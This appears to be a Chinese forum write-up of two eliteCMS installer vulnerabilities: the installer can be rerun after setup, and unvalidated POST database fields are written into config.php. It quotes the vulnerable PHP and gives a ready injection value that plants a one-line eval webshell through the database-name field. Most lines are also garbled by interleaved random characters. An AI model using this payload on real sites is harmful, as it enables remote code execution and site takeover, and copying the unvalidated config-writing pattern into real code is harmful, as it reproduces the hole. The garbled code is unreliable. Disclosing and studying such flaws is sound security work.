eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装
' P3 e. }2 S+ R4 B. B. u8 L# ~2 \$ j" Z' ]
另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php& ?0 y! m" N* a" U, ~' X P
我们来看代码:
/ R' B/ h9 {; m0 L) f 1 V4 j) H4 @2 w, f5 v2 g
...3 L$ O( |3 C/ T9 Z8 Z U0 k a
elseif ($_GET['step'] == "4") {
% N9 n2 `1 W: n$ t( F# ?6 W $file = "../admin/includes/config.php";3 |$ }- A' n8 p4 K& N
$write = "<?php\n";
% z, T: c9 }, @1 a $write .= "/**\n";
/ y6 x4 u+ {1 U" m' x ^$ u1 q $write .= "*\n";
- |+ T+ i: t/ ^8 T5 l( y $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";7 h2 u, y1 Q& ]7 S1 {8 c5 c
...略...
+ U. e& T4 G( i0 a; R. o& i) [ $write .= "*\n";* w0 A' @& y1 ~
$write .= "*/\n";6 h: k+ h8 @2 I `; U1 B
$write .= "\n";& P1 m! S& i( x I2 ?
$write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";6 Y! S5 I7 q# X* Z2 g
$write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
1 l/ M2 B4 f/ P E O0 N/ h. h $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
5 z2 Q" O% T3 O2 ^* T9 h $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";( V8 d0 ]' [0 W8 V9 F- t _
$write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";! x5 i$ F; U, ~- h% V0 {' T7 E5 {
$write .= "if (!\$connection) {\n";7 S4 D, M- h/ i
$write .= " die(\"Database connection failed\" .mysql_error());\n";* C, K5 }9 I4 Q4 g5 m" s
$write .= " \n";
8 [3 X6 E7 i! `& i0 e/ w $write .= "} \n";, c& g* |( e* o; c, x
$write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";- p& a- {% F9 q1 a
$write .= "if (!\$db_select) {\n";. w/ r1 w' o3 d2 Z+ R; N
$write .= " die(\"Database select failed\" .mysql_error());\n";
( f- y: B* o+ E$ e $write .= " \n";
6 _/ y1 D- h5 c$ L0 H $write .= "} \n";
& |& m4 _& ?9 G# a2 i $write .= "?>\n";
+ I3 s8 m' _ O. r
( u' P. q8 Q/ S P $writer = fopen($file, 'w');" M: A0 d' H [. \3 r
...% m( x; z4 r5 l( r' j1 R2 d
5 k* M ~) b, X" C
在看代码:
" n) T9 Y9 q H" X; y ) g& p% m: \5 ~
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
+ f) g7 G; L0 n$_SESSION['DB_NAME'] = $_POST['DB_NAME'];, {5 R/ z& U/ Q% U
$_SESSION['DB_USER'] = $_POST['DB_USER'];
/ d: g1 J& j* I# \( y# L$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
: {1 b$ o( j9 s' O$ r ! w T* ~6 v% E2 N9 E" `3 x( v
取值未作任何验证4 X; S9 ]; } E3 F+ z9 S
如果将数据库名POST数据:
7 k0 {; \4 V, W! Q
; B* t- [0 E5 I- {"?><?php eval($_POST[c]);?><?php3 Y# n! N' Y8 }. D( b( O Q8 q
% |, X3 E7 ]. @* Z将导致一句话后门写入/admin/includes/config.php
! q) ?3 A* ?9 U4 {% }7 F |